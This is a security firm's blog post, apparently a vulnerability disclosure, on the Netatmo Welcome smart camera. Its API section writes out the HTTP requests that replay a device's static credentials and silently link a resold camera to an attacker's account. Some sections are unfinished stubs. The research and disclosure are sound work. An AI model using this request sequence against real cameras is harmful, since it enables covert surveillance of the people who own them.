Testing the “Netatmo Welcome” Smart Camera

by Wilfried Kirsch, Consultant and Fabian Hafner, Consultant


Netatmo Welcome is a smart camera, which is capable of recognizing faces, streaming recordings into the cloud or alert user in a case of an buglary. As part of ongoing research into Internet of Things security, we performed static and dynamic analysis of the Android and Linux app as well as of the camera itself.
While cloud communication was found to be reasonably secure for an IoT device (there even is an IPsec mode!), we discovered a vulnerability, which enables an attacker
to link his account to a camera which was previously in his possession.

Contents

  1. Security Analysis Summary
  2. Device Setup
  3. Android App
  4. Linux Setup Tool
  5. API
  6. Misc (ftp etc..)
  7. Conclusion

1. Security Analysis Summary

The Good:

  • Cloud communication uses HTTPS and CA pinning
  • IPSec
  • Critical traffic (firmware updates) over camera itself, not over App
  • No debug ports

The Bad:

  • Some API Commands only require (unchangeable) camera credentials
  • Probably bad defaults (microphone on by default etc)
  • No notification if user linked to account

2. Device Setup

The Netatmo Welcome comes in a nice cylindric button-less design.

The device consists of one USB Port (which is used to power the device and during setup), a microSD card slot (where the camera can store recordings), a multicolor LED (green during powerup, blue if in Bluetooth mode, red if it records (only when user activated this). For connectivity there is an Ethernet port, WiFi and Bluetooth, while the later is only used for communication between the App when in setup mode)

When plugged in, an unconfigured or freshly reset Netatmo Welcome will try to access the internet. If it succeeds it checks for firmware updates, downloads and installs the update (if available).

To setup the camera the owner can either use a Smartphone App and connect to the camera via Bluetooth, by flipping it upside down. Or he can download a Windows/Linux/macOS? binary where he has to connect the USB cable.

The camera itself can connect to the internet via Ethernet or WiFi (the later one has to be configured during setup)

netatmo welcome

3. Android App

We exmanined the Android App for Netatmo Welcome, Netatmo Security in our MitM ready Android VM. To record network traffic mitmproxy was used. Bluetooth traffic can be intercepted within Android by enabling HCI Snooping under the developer options section.

4. Linux Setup Tool

  • strace
  • r2
  • usb
  • net

5. API

https://dev.netatmo.com/resources/technical/guides/authentication/clientcredentials

The Attacker buys the camera, runs the setup while sniffing the packets which are being sent to app.netatmo.net.
The setup will eventually send the following post request, which, in case all parameters are valid, returns a device token.

Request
POST /oauth2device/token HTTP/1.1
Host: app.netatmo.net
Connection: close
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 257

client_id=na_client_linux&client_secret=53c237...acce55&grant_type=password&password=bada55h0tbabe...h0tc0ffee&username=70:ee:50:2e:13:37

Response
"access_token":"70:ee:50:2e:13:37|OurAwesomeDeviceToken",
"expires_in":10800,
"refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA"

The interesting part of this is, that the password and username are actually static. Username is the MAC address of the camera and password is a device specific hardcoded password. This means an attacker can repeat that request, even if he does not own the camera anymore.

The attacker now requests a refund on the device, sends it back where he bought it and waits for a victim to pick up this exact camera.
Eventually the camera will be sold again to our victim. The victim installs the camera and runs the setup, successfully binding
the camera to his cloud account.

At this time the adversary reruns the package above, which will still return a valid token. The attacker saves the returned token as access_token_device.
He also creates his own Netatmo Cloud account using the Netatmo website. Afterwards he asks for a user token using the following request:
POST /oauth2/token HTTP/1.1
Host: app.netatmo.net
Connection: close
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 156

client_id=na_client_linux&client_secret=53c237...acce55&grant_type=password&password=supersecret&username=attacker%40softscheck.com

Which returns a json containing the user token “OurAwesomeUserToken”.

Now the attacker can craft and send the following packet:
POST /api/associatedevice HTTP/1.1
Host: app.netatmo.net
Connection: close
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 141

access_token_device=70:ee:50:2e:13:37|OurAwesomeDeviceToken&access_token=OurAwesomeUserToken

This binds the camera to the user account, allowing the attacker to access the camera anytime he wants from the Netatmo cloud. The victim can still use the camera and the cloud interface, which increases the chance that the attack remains unoticed.

6. Misc

  • can upload to a ftp server – does not provide ftp code on its own
  • can store files on sdcard
  • hardware attacks? debug ports etc?
  • apple homekit?
  • no open ports
  • face regonition trickable?
  • power down when away – will user get notified?

7. Conclusion

One attack due to bad design.

Read about other interesting topics at our blog.